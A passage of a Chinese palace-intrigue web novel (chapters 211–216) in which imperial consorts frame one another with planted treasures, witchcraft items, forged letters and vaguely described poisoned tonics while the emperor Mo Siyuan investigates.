阿孟站在侧旁,眸光闪烁。两位娘娘明争暗斗,正是她所期待的局面。
淑妃已无法维持仪态,眼角泪光闪烁:“谢妤!本宫知道是你!自从皇上宠幸于我,你便日夜算计。你以为本宫不知道你的心思吗?”
谢妤冷笑一声:“淑妃娘娘这般模样,倒像是服了什么邪药。只是不知这邪药可是你自己预备的?本宫听闻你近日与宫外男子多有往来,莫非是那男子送的药不对?”
此言一出,满座哗然。
阿孟心中暗叹:谢妤此言可谓致命。
第211章 争宠
“你!”淑妃气得面色更红,忽然指着谢妤,声音尖利,“我早就知道你恨我,没想到你竟如此卑鄙!上次你滑胎一事,定是故意为之,博取皇上怜悯,如今却恬不知耻来陷害我!”
席间众妃嫔议论纷纷,有人捂嘴低笑,有人神色紧张,唯独阿孟神色如常。
谢妤冷笑一声:“真正卑鄙的是谁,心知肚明。本宫听闻你近日私下挪用宫银三百两,还与宫外男子暗通款曲,此事若查实,可是诛九族的大罪。”
“血口喷人!”淑妃尖叫,指甲几乎要嵌入掌心,“本宫清白无比,岂容你污蔑!”
墨司渊神色阴郁,目光在两位妃子身上逡巡。
那眼神冷得令人心惊。
“够了!”墨司渊忽然一拍案几,声音如雷,“你二人当着满朝妃嫔的面争吵不休,成何体统!”
“中秋良辰,本该阖家团圆,却被你二人搅得不得安宁!”
淑妃面带红疹,委屈落泪:“皇上,臣妾实在是……”
墨司渊的声音如冰,两位妃子的争吵戛然而止。
“皇上,臣妾绝非有意……”谢妤屈膝行礼,眼中含泪,身影摇摇欲坠。
墨司渊冷眼望着淑妃那张布满红疹的脸,语气沉冷:“太医何在?”
阿孟微微上前,声音平静:“皇上,臣妾可先为淑妃诊治。”
“你?”淑妃瞪大眼睛,指甲在手臂上留下几道血痕,“本宫宁可痒死,也不要你这心怀叵测之人碰我一根手指!定是你帮着旁人来害我要我出丑!”
墨司渊目光如刀,顿时像触碰了逆鳞一般:“住口!”
淑妃浑身一颤,不敢再言,但她望向阿孟的眼神仍充满敌意。
阿孟上前查看,手指轻轻按在淑妃腕上。
“娘娘所中非邪术,乃是花粉过敏。”她语调平稳,眼中却闪过一丝微妙的光,“方才发现座椅上有细微粉末,想必是有人刻意为之。”
谢妤脸色微变,随即镇定道:“淑妃,你可真会栽赃。宴会由你亲自筹办,座椅摆放皆是你的人手经手,怎能说是本宫所为?”
阿孟安静站立一旁,眼中闪过一丝寒芒。
谢妤的手段比她预想的更狠辣,竟在宴上如此陷害淑妃。
而淑妃那般模样,显然也不是无辜之人。
“皇上息怒。”阿孟轻声道,“臣妾可为淑妃配制些药粉缓解症状。”
墨司渊冷冷扫了她一眼,忽然起身:“宴席到此为止。”说罢,拂袖而去,留下满座愕然。
淑妃脸色由红转白,瘙痒虽未减轻,此刻却顾不得了。
她狠狠瞪着谢妤:“你给我等着!”
待众人散去,淑妃召来碧玉:“今日本宫颜面扫地,定要谢妤百倍奉还!”
淑妃眼中闪过狠毒之光,一瞬间有了主意:“唤杜太医来见我。明日,给太医院送些厚礼,让杜太医在谢妤的养神汤中动些手脚。”
“娘娘是要……”
淑妃勾起嘴角:“既然她想用邪术害我,本宫就让她真的染上邪症。从明日起,你在宫中散布谣言,就说谢妤病情加重是上天惩罚,因她心术不正!”
碧玉眼中闪过一丝惊惧:“这……若被皇上知晓……”
“皇上已经对她心生疑虑,”淑妃眼中闪过狠毒之色,“本宫只是推她一把罢了。”
翌日,太医院杜太医躬身行礼:“淑妃娘娘有何吩咐?”
淑妃递过一个小瓷瓶:“这药粉,你想办法加入谢妤的养神汤中,不会立即致命,但会令她病情加重,渐渐露出邪症之状。”
“娘娘,此事若败露……”
淑妃冷笑一声:“若成功,本宫重重有赏。若失败……你应该知道后果。”
说罢,她自暗格中取出一袋沉甸甸的银子递给杜太医,眼中寒光闪烁。
杜太医接过银子,顿觉沉重无比,到了这份上,自己何来理由拒绝?
他低头应是,退下时背脊已被冷汗浸透。
“碧玉,即刻去做。”淑妃唤来心腹,“在宫中散布些流言,就说谢妤体弱多病实乃上天惩罚,因她心术不正、怨念太深,才被天谴。”
碧玉轻声询问:“娘娘,如何说才能
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让人深信?”
“就说她私下供奉邪神,用秘术伤人,触怒上苍。”淑妃眸光阴冷,指尖轻敲桌面,“再寻几个宫女,教她们装作被谢妤害过的模样,若有人问起便哭诉一番。”
三日后,谢妤的病情果然加重。
她卧在床榻上,面色惨白如纸,连抬手拿杯的力气都没有。
“娘娘,再喝些药吧,太医院的补药也是能帮娘娘您提神的呢,”红豆搀扶起谢妤,声音中满是忧虑。
谢妤艰难地咽下药汁,虚弱道:“药越喝越重,病却越发严重,定是有人在背后作祟。”
正说着,墨司渊忽至。
谢妤挣扎着欲起身,却被墨司渊冷声制止:“不必多礼。”
谢妤望着墨司渊阴沉的面色,心头一凛:“皇上今日怎得有空来看臣妾?”
墨司渊冷冷盯着她:“谢妤,朕听闻你近日竟利用邪术造次,可有此事?”
“皇上明鉴,臣妾何时与外人有联系?”谢妤惊恐道。
墨司渊哼了一声,扔出几封信件:“这是何物?”
谢妤颤抖着接过,只看了一眼便面如死灰:“皇上,这不是臣妾所写!字迹虽像,却是有人模仿!”
“呵,朕岂是三岁孩童,任由蒙骗?”墨司渊冷笑,“若是不说那只能将你软禁至此,来人,将谢贵妃软禁于此,没有朕的旨意,不得踏出宫门半步!”
谢妤慌忙挣扎下床,跪倒在地:“皇上,臣妾冤枉啊!定是有人陷害!”
墨司渊转身欲走,淑妃却从外进来,施施然行礼:“皇上息怒。谢贵妃虽有过错,却也是病中之人,何不从轻发落?”
墨司渊冷眼看她:“你倒是慈悲。”
淑妃垂首,做出委屈状:“臣妾不过念在姐妹一场,不忍她受苦。”
墨司渊离去后,淑妃留下,与谢妤四目相对。
“淑妃娘娘如此好心,真是让人感动。”谢妤冷笑,“不知这药方可是你送的礼?”
淑妃轻抚发髻:“谢贵妃这话何意?臣妾特来探病,还为你向皇上求情,你却不领情。”
第212章 互相陷害
“好一个求情。”谢妤冷声道,“你使手段让我病重,又在皇上面前添油加醋,如今假意同情,实则来看我笑话!”
淑妃眼中闪过一丝得意:“谢贵妃多心了。臣妾岂是这种人?只是……”她凑近谢妤耳边,“你既能在中秋宴上算计我,又岂能怪我以牙还牙?
谢妤忽然发现阿孟站在门口,二人目光在空中交汇,无声地传递着某种信息。
淑妃因“揭发”谢妤有功,短短一夜便被晋封为贵妃。
消息传出,后宫震动。
“贵妃娘娘,您看这丝线如何?”碧玉捧着一匹浅紫色绸缎,谄笑道,“特意命人从城外寻来的,织工极好。”
淑妃漫不经心地瞥了一眼,摆手道:“太素了,哪配得上本宫如今的身份?再去寻些金丝织就的来。”
碧玉应声退下,阿孟从外进来,规规矩矩行礼:“淑贵妃娘娘。”
淑贵妃笑得愈发得意:“孟贵妃来得正好,本宫刚得了新茶,一同品尝如何?”
“多谢娘娘。”阿孟垂眸应声,取出一本账册放在桌上,“昨日娘娘命我整理的账目,已经清点妥当。”
淑贵妃随手翻了翻,便丢到一旁:“这些小事,你看着办就是。如今皇上对本宫另眼相看,本宫要大肆操办赏宴,邀各位姐妹共庆。”
“娘娘……”阿孟犹豫片刻,故意道,“这宫银使用须得谨慎,前几日皇上刚提过要查各宫开支。”
淑贵妃轻蔑一笑:“皇上不过随口一提,本宫如今正得圣宠,他眼中只有本宫,又怎会深究这些小事?你该不会是怕那谢妤东山再起,才来阻我吧?”
阿孟心中冷笑,面上却恭敬道:“臣妾不敢。只是为娘娘着想,怕落人口舌。”
“无妨。”淑贵妃摆手,目中满是轻蔑,“谢妤已是过去式,如今宫中谁敢说本宫不是?倒是你,这些日子倒是识相,本宫记着你的好。”
说着,淑贵妃起身走到妆台前,饶有兴味地拨弄着新得的珠钗:“你是个聪明人,该知道如今该依附谁才是。”
阿孟面上波澜不惊,心中却在冷笑:既然你如此自信,便送你一程。
“娘娘说得是。”阿孟轻声应和,眼角余光却瞥见账册中一张夹着的纸条,上面记录着淑贵妃私下克扣宫女俸禄之事。
夜色渐深,云珠悄无声息地回到朝露宫,向阿孟禀报:“主子,那淑贵妃果然有鬼。奴婢跟踪她的心腹碧玉,发现她与城外一名男子频繁接触,还传递信件。”
阿孟眸光一冷:“可曾看清那男子模样?”
“不甚清楚,只见他着青衣,似有功夫在身。”云珠压低声音,“更奇怪的是,他递给碧玉一个小包袱,碧玉回宫后便去了太医院。”
阿孟指尖轻敲桌面:“继续盯着,若有异动即刻告诉我。切记小心行事,不可被发现。”
翌日,阿孟借口核查账目,私下前往淑贵妃寝宫。
趁宫人不备,她迅速翻开淑贵妃床头柜中的信函,发现数封往来书信。
正当她匆忙记下信中要点时,门外突然传来脚步声。
“谁在里面?”碧玉的声音透着警惕。
阿孟迅速合上柜门,却不慎碰落几件物品。碧玉推门而入,眼中闪过一丝锐利:“孟贵妃,您怎在此处?”
阿孟神色自若:“淑贵妃命我取些账目,不想她不在。既如此,我改日再来。”
碧玉将信将疑,目送阿孟离去,随即仔细检查了床头柜,发现书信排列已有变动。
“娘娘,恐怕孟贵妃在查您的私事。”碧玉向刚回宫的淑贵妃禀报。
淑贵妃眉头紧蹙,眼中寒芒毕现:“她竟敢背地里查我?看来得先除掉她,免得坏我大事。”
“娘娘打算如何处置她?”碧玉小心翼翼地问。
淑贵妃冷笑一声:“既然她爱管闲事,不如让她尝尝搬弄是非的后果。”
“娘娘打算如何处置她?”碧玉悄声问道,眼中闪烁着期待的光芒。
淑贵妃转身踱步至窗前,指尖轻抚窗棂,语气阴冷:“宫中近日丢失了不少珍玩,若这罪名落在孟贵妃头上,她还有何颜面在宫中立足?”
碧玉眼中闪过一丝精光:“娘娘此计甚妙!孟贵妃平日清高自持,若被扣上盗窃之名,定会颜面扫地。”
“不仅如此。”淑贵妃轻抚发髻,眸光阴沉,“本宫会在她的住处暗藏几件宫中珍玩,再‘偶然’发现,到时她百口莫辩,皇上定会降罪于她。”
碧玉连忙应和:“娘娘高明!这便去准备。”
淑贵妃却摆了摆手:“此事须得隐秘行事,你只管安排人手,其余不必多问。”
阿孟早已察觉风向不对,回到朝露宫后,唤来云珠:“近日宫中局势有变,恐怕淑贵妃已起了杀心。”
云珠握紧拳头:“主子,要不要奴婢先下手为强?淑贵妃身边那个碧玉,奴婢可以……”
“不可莽撞。”阿孟轻拍云珠的手背,眼中闪过一丝锋芒,“我们暂且示弱,让她以为计谋得逞。”
云珠皱眉不解:“可若她真栽赃成功,主子岂不是……”
阿孟唇角微勾:“多行不义必自毙。她越是张狂,越会露出马脚。”
次日清晨,淑贵妃突然带人闯入朝露宫搜查,果然在阿孟寝殿的床榻下“发现”了几件宫中失窃的珍玩。
“孟贵妃,你竟敢偷窃宫中财物!”淑贵妃高声斥责,眼中闪烁着胜利的光芒。
阿孟神色淡然,只微微皱眉:“淑贵妃此言差矣。这些物件何时到了我的寝殿,我竟毫不知情?”
“狡辩!”淑贵妃冷笑,“赃物就在你床下,还有何话可说!来人,立刻去请皇上!”
墨司渊很快赶到,面色阴沉地望着满地珍玩。
“皇上明鉴,这是臣妾无意中发现的。”淑贵妃眼中含泪,“臣妾实在不愿相信孟贵妃会做出这等事,但事实摆在眼前……”
墨司渊冷眼扫过在场众人,目光最终落在阿孟身上:“你可有话说?”
阿孟不卑不亢:“皇上,臣妾无需辩解。只是想问,这些物件可曾有人验过真伪?”
墨司渊微微挑眉:“传珍宝司来。”
第213章 风雨欲来
淑贵妃面色一变:“皇上,赃物就在眼前,何须再验?”
阿孟垂眸不语,云珠站在她身后,眼中警惕之色一闪而过。
墨司渊瞪了淑贵妃一眼,已然是对她的行为万般不满!
珍宝司很快赶到,仔细查验过那些“赃物”后,向皇上禀报:“回皇上,这些物件皆是赝品,与宫中失窃之物相似却有差异。”
“赝品?”淑贵妃面色顿变,声音几乎变了调,“怎会是赝品?”
阿孟不急不缓道:“淑贵妃既然如此关心这些物件,不如说说您是如何得知它们的?”
墨司渊目光骤冷:“淑贵妃,你可有话要说?”
殿内一时寂静,连呼吸声都清晰可闻。
“皇上,臣妾只是听闻宫中丢失珍玩,便想着查一查。”淑贵妃勉强挤出笑容,额头已见汗珠,“至于这些赝品,或许是有人想陷害孟贵妃……”
“陷害?”谢妤冷笑一声,“若非淑贵妃带人搜查,谁知这些东西在孟贵妃宫中?莫非淑贵妃早已知晓?”
阿孟站在一旁,看似平静,心中却暗自思量。
她知道淑贵妃此举定是因自己窥探她的秘密,却没想到谢妤会在此刻出手相助。
“你—”淑贵妃气得脸色铁青,却又不敢在皇上面前发作。
阿孟随即上前一步。
“皇上,臣妾不过是管些账目之事,何至于让淑贵妃如此记恨?除非……”她故意停顿片刻,“臣妾所查回到之事,触动了某人的隐秘。”
“放肆!”淑贵妃厉声喝道,“你一个小小贵妃,竟敢如此猜测!”
墨司渊眸光转冷:“孟贵妃查了何事?”
“不过是些宫银使用记录。”阿孟声音平静,“近日发现一些异常支出,正欲详查。”
谢妤轻咳一声,似有深意地看了阿孟一眼:“皇上,臣妾身子不适,先行告退。只是觉得,此事颇为蹊跷,还望皇上明察。”
墨司渊冷冷地看了淑贵妃一眼:“来人,彻查此事。孟贵妃无罪,退下。淑贵妃留下。”
淑贵妃面色一沉,眼中闪过一丝不安。
“臣妾遵旨。”阿孟微微欠身,步履从容地退出了殿门。
墨司渊冷冷看着站在殿中的淑贵妃,周身气息如寒冰一般,令人不寒而栗。
“皇上,臣妾实在是一片忠心,只是被人利用了而已……”淑贵妃急忙跪下,一张艳丽的脸上堆满了惶恐。
“忠心?”墨司渊冷笑一声,修长的手指轻敲龙案,“朕且问你,这些赝品是从何而来?”
淑贵妃低着头,手指紧紧攥着衣袖:“臣妾也不知情,只是听闻宫中丢失了珍玩,便想着查一查……”
“是么?”墨司渊嘴角挂着一丝讥讽,“那朕倒要看看,到底是谁在背后操控这一切。”
离开大殿后,阿孟缓步行走在宫廷长廊上,心中思绪翻涌。
云珠紧随其后,忍不住小声道:“主子,这淑贵妃真是太过分了,竟敢栽赃陷害您!”
“无妨。”阿孟轻声道,眼中闪过一丝冷意,“她越是心虚,越会露出马脚。”
正说着,一名宫女匆匆而来,向阿孟行礼后悄声道:“孟贵妃,谢贵妃请您去她的朝露宫一叙。”
阿孟眸光微动,点头应允。
朝露宫内,谢妤靠在榻上,面色仍显苍白。见阿孟进来,她勉强挤出一丝笑容:“孟贵妃来了。”
“谢贵妃身子可好些了?”阿孟淡淡问道,目光扫过谢妤脸上的病态。
谢妤轻叹一声:“好些了。今日若非你,怕是那淑贵妃得意至极了。”
“谢贵妃言重了。”阿孟不动声色地坐下,“我不过是说了实话罢了。”
“淑贵妃如今得宠,却不知收敛,竟敢如此明目张胆陷害你。”谢妤冷笑一声,眼中闪过一丝狠毒,“今日之事只是开始,她定不会善罢甘休。”
阿孟轻轻抿了抿唇,眼中光华流转,不露半分端倪。
“孟贵妃,今日我出手帮你,你想必也明白我的用意。淑妃近来猖狂得很,甚至还给我下药!”
阿孟不动声色地扫了谢妤一眼,心中冷笑。
“谢贵妃言之有理。”阿孟略微颔首,“我这里有解毒丸,能帮娘娘解毒。”
服用解毒丸之后,谢妤的胸闷之症的确好了不少。
她从枕下取出一封信件,递给阿孟:“这是我手下人偷来的,是淑妃与外人的往来信笺。只是内容较为隐晦,看不出什么实质性的东西。”
阿孟接过信件,仔细打量。墨迹工整,字里行间都是些家常琐事,但夹杂着几句暗语。
与此同时,墨司渊坐在御书房中,面前站着一名黑衣暗卫。
“说吧,可有什么发现?”墨司渊放下手中的奏折,目光如炬。
暗卫单膝跪地,声音低沉:“回皇上,淑贵妃目前并没有什么其他的异常之处,只是对待自己宫中宫人较为苛刻。”
墨司渊眸光一冷,修长的手指轻轻敲击着桌面:“继续监视,一有异动,即刻禀报。”
“是,皇上。”暗卫领命退下。
墨司渊起身踱步至窗前,眼中寒意更甚。淑贵妃若真有异心,他绝不会手软。只是,这孟贵妃又是何许人也?为何总觉得她身上有一种熟悉的感觉?
正思索间,一名小宫女慌慌张张地跑过,被暗卫拦下。
“你为何如此慌张?”暗卫冷声问道。
小宫女脸色惨白:“大人饶命,大人饶命!”
暗卫眸光一沉,低语质问道:“你且说说,知道些什么?”
小宫女跪地磕头:“奴婢曾亲眼所见,淑贵妃私自收受外人送来的信件和财物,且曾听她提起与某位王爷有染……”
墨司渊面色阴沉如水:“带她下去,严加审问,一字一句都要记录清楚。”
而淑贵妃宫中,碧玉慌张进殿:“娘娘,大事不好!皇上派人在查您的事,还抓了咱们宫中的小宫女审问!”
淑贵妃手中的茶盏“啪”地落地,脸色瞬间惨白:“什么?”
“娘娘,您别急。”碧玉压低声音,“不如先将那些证据都销毁,再想办法脱身。”
淑贵妃咬牙切齿:“不行,我绝不能就此认输!谢妤和孟贵妃,一个都不会放过!”
第214章 巫蛊构陷
碧玉脸色发白,慌忙跪下:“娘娘息怒,小心伤了凤体。”
“如今我身为贵妃,后位指日可待,岂容她们坏我大事!”淑贵妃咬牙,碧玉只能跪在地上,不敢应答。
谢妤静坐于朝露宫中,暗室烛火摇曳。一名小太监战战兢兢跪于地上。
“都安排妥当了?”谢妤淡淡问道,指尖轻敲案几。
“回、回娘娘,都按吩咐办好了。”小太监额头冒汗,“那些巫蛊之物已放入淑贵妃的床榻和衣箱中,定不会被发现。”
谢妤勾起一抹冷笑:“很好。明日内务府例行检查,到时淑贵妃便插翅难逃。”
小太监犹豫道:“只是……若被查出是咱们所为……”
“怕什么?”谢妤寒声打断,“我自有安排。若你不泄密,谁能知晓?若你敢多嘴……”她目光森冷,“你应知后果。”
小太监连连叩首:“奴才不敢!奴才万死不敢!”
“下去吧。”谢妤挥手。待小太监退出,她唤来心腹红豆,“淑妃宫中可有动静?”
红豆低声道:“那边已安排好人手,咱们的人已准备好。”
谢妤微微颔首:“告诉小安子,提及淑贵妃与三王爷密会一事,需真假参半,不可太过刻意。”
“娘娘明鉴。”红豆恭敬应道。
谢妤从暗格取出几封精心伪造的信件,展开细细检查。信纸已做旧,笔迹更是与淑贵妃如出一辙。上面隐晦提及谋反之事,牵连数位朝中大臣。
“此物何时放入淑贵妃寝宫?”谢妤问道。
红豆道:“今夜子时,宫中安静之际。已安排妥当。”
谢妤眼中闪过一丝满意,却忽又蹙眉:“孟贵妃那边……可靠吗?”
红豆犹豫道:“回娘娘,孟贵妃近日与淑贵妃确有龃龉,但……奴婢总觉那孟贵妃深不可测,似乎另有谋算。”
谢妤冷笑:“无妨。暂且与她合作,待淑贵妃倒台,再除掉这个碍眼的孟贵妃不迟。”
谢妤掩唇轻笑:“先让她为我所用,再除之而后快。”
红豆赞叹:“娘娘好谋算!”
谢妤神色却沉了下来:“此事务必小心,万不可走漏风声。一旦淑贵妃倒台,皇上定会追查到底。若连累了我们……”
红豆正色道:“娘娘放心,皆是死士,绝无泄密可能。”
谢妤站起身,走到窗边望着远处的夜空。
“争宠之路,不留活口。谁敢阻我,必要他付出代价。”她喃喃自语,眼中闪过一丝狠毒。“皇后之位,非我莫属。”
“淑贵妃,孟贵妃……一个都不能留。”
夜色如墨,殿内烛火摇曳。
谢妤轻抚案几上那封伪造的书信,眸光冷冽。她已决定,要趁墨司渊心情不佳之时,将淑妃一举拿下。
“红豆,那些证据都安排妥当了吗?”谢妤沉声问道,指尖轻轻敲击桌面。
“回娘娘,都准备好了。”红豆低声禀报,“那些巫蛊之物已放在淑贵妃的寝殿和箱柜中,信件也安排心腹今晚子时送入。”
谢妤唇角微勾,露出一丝冷笑:“今日我看那淑贵妃得意的模样,真是令人生厌。等明日皇上震怒,看她如何辩解。”
“娘娘英明。”红豆恭维道,“只是,孟贵妃那边,真的可信吗?”
谢妤目光一冷:“她不过是我手中的一枚棋子。待淑妃倒台,再收拾她不迟。”她站起身,走到窗前,凝视着远处隐约可见的宫灯,“后宫之中,容不得闲杂人等。”
第二日清晨,墨司渊面色阴沉地处理着奏折。昨夜一场噩梦令他心绪不宁,加之大臣递上的折子内容令人不悦,更添几分烦闷。
就在此时,外面传来谢妤焦急的声音:“皇上,臣妾有要事禀报!”
墨司渊眉头微皱:“宣她进来。”
谢妤踉跄着跑进殿内,脸色苍白,眼中含泪,见到墨司渊便“扑通”一声跪倒在地:“皇上,臣妾有罪!”
“何事如此惊慌?”墨司渊放下奏折,冷声问道。
谢妤泪如雨下,声音颤抖:“臣妾昨日偶然发现……淑贵妃私藏巫蛊之物,还有与外人往来的密信!臣妾本不敢相信,亲眼所见才惊骇不已!”
墨司渊眸光一冷:“你确定?”
“臣妾不敢妄言!”谢妤伏地痛哭,“那些信件上提及谋反之事,还有……还有三王爷的名字!”
墨司渊猛地站起,眼中寒光乍现:“来人!即刻带人去淑贵妃寝宫搜查!”
淑贵妃正在梳妆,突然听闻殿外一阵喧哗。她还未反应过来,殿门已被撞开,一队侍卫鱼贯而入。
“你们干什么?”淑贵妃惊怒交加,“谁准你们擅闯本宫寝殿!”
为首侍卫冷声道:“奉皇上之命,搜查贵妃寝宫!”
淑贵妃面色大变:“荒谬!本宫何罪之有,需要搜查?”
碧玉慌忙上前拉住淑贵妃:“娘娘息怒,先看看到底怎么回事……”
侍卫们开始翻箱倒柜,很快,在淑贵妃的床榻下、衣箱中,发现了几件巫蛊之物和数封信件。
淑贵妃见状,如遭雷击,面色瞬间惨白:“这……这不是我的东西!”
侍卫头领冷笑道:“贵妃娘娘,还请随我们去见皇上!”
御书房内,墨司渊阴沉着脸,望着跪在地上瑟瑟发抖的淑贵妃。
“皇上明鉴!”淑贵妃哭喊着,“这些东西不是臣妾的!一定是有人陷害!”
墨司渊冷笑一声:“朕亲自检视了这些信件,笔迹与你平日所写无异。你还有何话可说?”
“皇上……臣妾冤枉啊!”淑贵妃声嘶力竭,“一定是谢妤,是她陷害臣妾!”
谢妤跪在一旁,泪水滑落:“皇上,臣妾虽与淑贵妃有些龃龉,但万不敢做出此等大逆不道之事。淑贵妃如此污蔑臣妾,分明是心虚!”
墨司渊沉声道:“来人,将淑贵妃打入冷宫,没有朕的旨意,不得踏出半步!”
“不……不要!”淑贵妃面如死灰,挣扎着被拖出大殿,眼中满是绝望与不甘,“皇上!臣妾冤枉啊!”
殿外,阿孟立于廊下,望着被拖走的淑贵妃,眸光微闪。这一切,她早有预料。
第215章 将计就计
谢妤走出御书房,与阿孟四目相对,两人默契地相互颔首致意,表面上一派和谐。
“孟贵妃,”谢妤轻声道,唇角带着胜利的微笑,“宫中又少了一个搅局之人,真是……令人欣慰啊。”
阿孟面色平静,眼底却藏着一丝冷意:“谢贵妃好手段。”
谢妤轻笑一声:“淑妃咎由自取,与我何干?”她悄声补充道,“孟贵妃若不想步她后尘,最好安分些。”
阿孟微微一笑,不卑不亢:“多谢提醒,臣妾自有分寸,谨遵教诲。”
两人各怀心思,转身离去,背影渐行渐远。
谢妤摇曳生姿,掩唇轻笑。
“淑妃一倒,后宫又安静了。”谢妤步入御花园,身旁宫女红豆恭敬跟随,“这几日,本宫要好好‘慰问’各位姐妹才是。”
红豆眼中闪过一丝了然:“娘娘英明。”
谢妤轻抚手腕,那里有一道新鲜的“伤痕”,是她刚才特意用指甲掐出来的。初春的风徐徐吹来,谢妤裹紧了披风,朝顾嫔寝宫走去。
“顾嫔姐姐,”谢妤推门而入,脸上挂着楚楚可怜的表情,声音微微发颤,“妹妹来看你了。”
顾嫔连忙起身相迎:“谢贵妃何故独自前来?”
谢妤垂泪,抬起手臂,露出手腕上的“伤痕”:“姐姐可知,那淑妃平日是如何对我的?”她声音哽咽,“若非皇上明察秋毫,妹妹恐怕早就……”
“这、这……”顾嫔面露惊色,目光在谢妤手腕上流连,随即神色坚定,“淑妃如此狠毒,实在罪有应得!”
谢妤满意地看着顾嫔义愤填膺的样子,知道她已经成功收买了一位盟友。接下来几日,她走遍了后宫各处,向每位妃嫔展示她的“伤痕”,诉说淑妃的“罪行”。
“那贱人竟敢对贵妃娘娘下此毒手!”
“早该收拾她了,娘娘受苦了!”
众妃嫔纷纷附和,没人敢说半句反对的话。谁都知道,如今的谢妤已是后宫实际掌权者。
然而,谢妤心中仍有一块心病。自从那次滑胎后,墨司渊对她疏远了许多,即使淑妃已被打入冷宫,他也未曾召幸过她。
“红豆,去请孟贵妃来一趟。”谢妤坐在铜镜前,仔细打量着自己略显憔悴的面容。
不多时,阿孟迈着从容的步伐走进殿内,向谢妤行礼:“谢贵妃唤臣妾何事?”
谢妤示意红豆退下,待殿内只剩二人,她径直开口:“听闻孟贵妃医术高明,擅长配制各种药物?”
阿孟眼皮微抬:“不敢当,略通医理罢了。”
“本宫今日找你,是有一事相求。”谢妤放低姿态,眼中闪过一丝急切,“皇上近日龙体欠安,本宫想为他调制一些……补药。”
阿孟唇角微勾:“谢贵妃是想要情药吧?”
谢妤面色微变,随即恢复平静:“孟贵妃果然聪明。不错,本宫想重获皇上宠爱,只是这药……”
“我可以给你。”阿孟淡淡道,心中却暗自盘算着,这是将你推向深渊的第一步,“但药效只有一次,且贵妃身子尚未痊愈,恐怕……”
“无妨!”谢妤急切打断,“只要能重获皇上宠爱,本宫不在意这些。”
阿孟心中冷笑,面上却不动声色:“如此,明日便送到贵妃宫中。”
“多谢孟贵妃。”谢妤眼中闪烁着渴望,“若此事成了,本宫定有重谢。”
阿孟欠身告退:“臣妾告退。”
回到朝露宫,云珠迫不及待迎上前:“娘娘,那谢妤找您何事?”
阿孟冷笑一声:“她想要情药,重获圣宠。”
云珠愤愤不平:“娘娘,为何要帮她?那女人害得您家破人亡,如今还要助她……”
“正因如此,”阿孟眼中寒光闪过,“我才要给她。她身子未愈,再服用此药,不过是慢性毒药。看她如何自掘坟墓。”
次日,谢妤收到药后,精心梳妆打扮,穿上最艳丽的宫装,披散着青丝,将药倒入醇酒中,命人送往御书房。
“皇上,臣妾亲酿的桃花酒,特来献上。”谢妤盈盈下拜,目光含情脉脉。
墨司渊正在批阅奏折,抬眼看了她一眼:“放下吧。”
谢妤不肯放弃,轻声道:“皇上已多日未曾去臣妾宫中,臣妾日夜思念,特酿此酒,望皇上品尝。”
墨司渊目光微动,接过酒杯轻抿一口,只觉一股暖流流向全身,心头竟有几分异样感受。
“你近日身子可好些了?”墨司渊声音缓和了些。
“回皇上,已大好。”谢妤轻声回应,眼中闪烁着期待。
墨司渊搁下奏折,深深看了她一眼,随后起身道:“今晚,朕去你宫中。”
谢妤心头大喜,恭敬跪送墨司渊离去,待转身之际,眼中已满是得意与喜悦。
这一夜,谢妤终于重获宠幸,墨司渊对她的态度明显回暖。
几日光阴过去,原本冷清的朝露宫门庭若市,被人踏破了门槛。
“奉美人叩见谢贵妃娘娘。”奉美人在谢妤宫门外恭敬行礼,语气比往日更加谦卑。
谢妤微微抬眸,看着这位曾与淑妃交好的女子,面上浮现一抹若有若无的笑意:“奉美人来了,快请进。”
“听闻娘娘前些日子身子不适,可好些了?妾身特意带了些补品,望娘娘不要嫌弃。”奉美人双手捧着精致的锦盒,小心翼翼地递上前。
谢妤轻笑一声,示意红豆接过锦盒:“奉美人有心了。”她放下茶盏,慢悠悠道,“前些日子可不见你来问安,今日怎么想起本宫来了?”
奉美人额头沁出细汗,连忙道:“妾身前几日偶感风寒,不敢前来打扰娘娘,实在是罪过。”
“是吗?”谢妤玩味地看着她,“我倒是听说,你前几日还在淑妃宫中饮酒作乐呢。”
奉美人闻言面色惨白,慌忙跪下:“娘娘明鉴!妾身与淑妃不过是泛泛之交,从未有过深交。那日去她宫中,也是她执意相邀,妾身不敢违抗罢了。”
“起来吧。”谢妤端起茶盏,轻抿一口,“本宫不过是随口一问,奉美人无需如此紧张。”
奉美人如蒙大赦,连忙起身,额头仍然冒着冷汗。
“对了,”谢妤忽然想起什么,问道,“你与孟贵妃可相熟?”
第216章 趋炎附势
奉美人一愣,小心回答:“不甚相熟,只是偶有往来。”
谢妤眼中闪过一丝锐利,随即又恢复平静:“本宫想着,后宫姐妹应当和睦相处。改日本宫设宴,邀各位妃嫔一聚如何?”
“娘娘真是体恤姐妹情谊。”奉美人连声称赞,“有娘娘主持,后宫必定和乐融融。”
谢妤满意地笑了笑,心中却想:等皇后之位在握,看我如何收拾你们这些两面三刀的东西。
不多时,丽妃也带着礼物前来拜见。
“妹妹来得正好,”谢妤热情相迎,“前些日子听闻你绣的百鸟朝凤图甚是精美,可否让本宫一观?”
丽妃受宠若惊,却又连忙低眉,做出顺从的仪态:“娘娘若是喜欢,妾身这就命人取来。”
谢妤笑道:“丽妹妹手艺精湛,皇上若是看到,定会更加喜爱你。”
丽妃闻言低头,奉承着道:“多谢娘娘提携。”
谢妤心中暗笑:不过是利用你们罢了,等本宫得势,一个个都要掌控在手心。
正说着,宫女来报:“禧妃娘娘求见。”
谢妤挑眉:“让她进来。”
一连数日,谢妤的朝露宫宾客不断,往日高傲的妃嫔们如今都低眉顺眼,争相巴结。谢妤看着这些人的嘴脸,心中快意至极。
“这后宫,终究是要本宫做主的。”谢妤对着铜镜整理发髻,冷笑道,“淑妃不过是个开始,今后谁若不识抬举,都是一样的下场!”
红豆恭敬应道:“娘娘运筹帷幄,将来必成大事。”
“对了,皇上今晚要来吗?”谢妤问道,眼中闪烁期待。
“回娘娘,内务府已派人前来打点了。”红豆低声回答。
谢妤嘴角扬起一抹得逞的微笑。
有了那药物相助,皇上一定会对我越来越宠爱。
待她坐上皇后宝座,这后宫便再无人能撼动她的地位!
翌日,谢妤思量片刻,终究还是打上了怀孩子的主意。
“红豆,去请孟贵妃过来。”谢妤放下朱笔,眸中闪过一丝算计。
不多时,阿孟缓步走入殿中,姿态从容优雅,向谢妤微微行礼:“贵妃娘娘有何事传唤?”
谢妤打量着阿孟,眼中满是审视:“听闻孟贵妃医术高明,本宫今日想请你为本宫诊脉。”
“贵妃娘娘这是何意?”阿孟面色不变,眉头却微微蹙起。
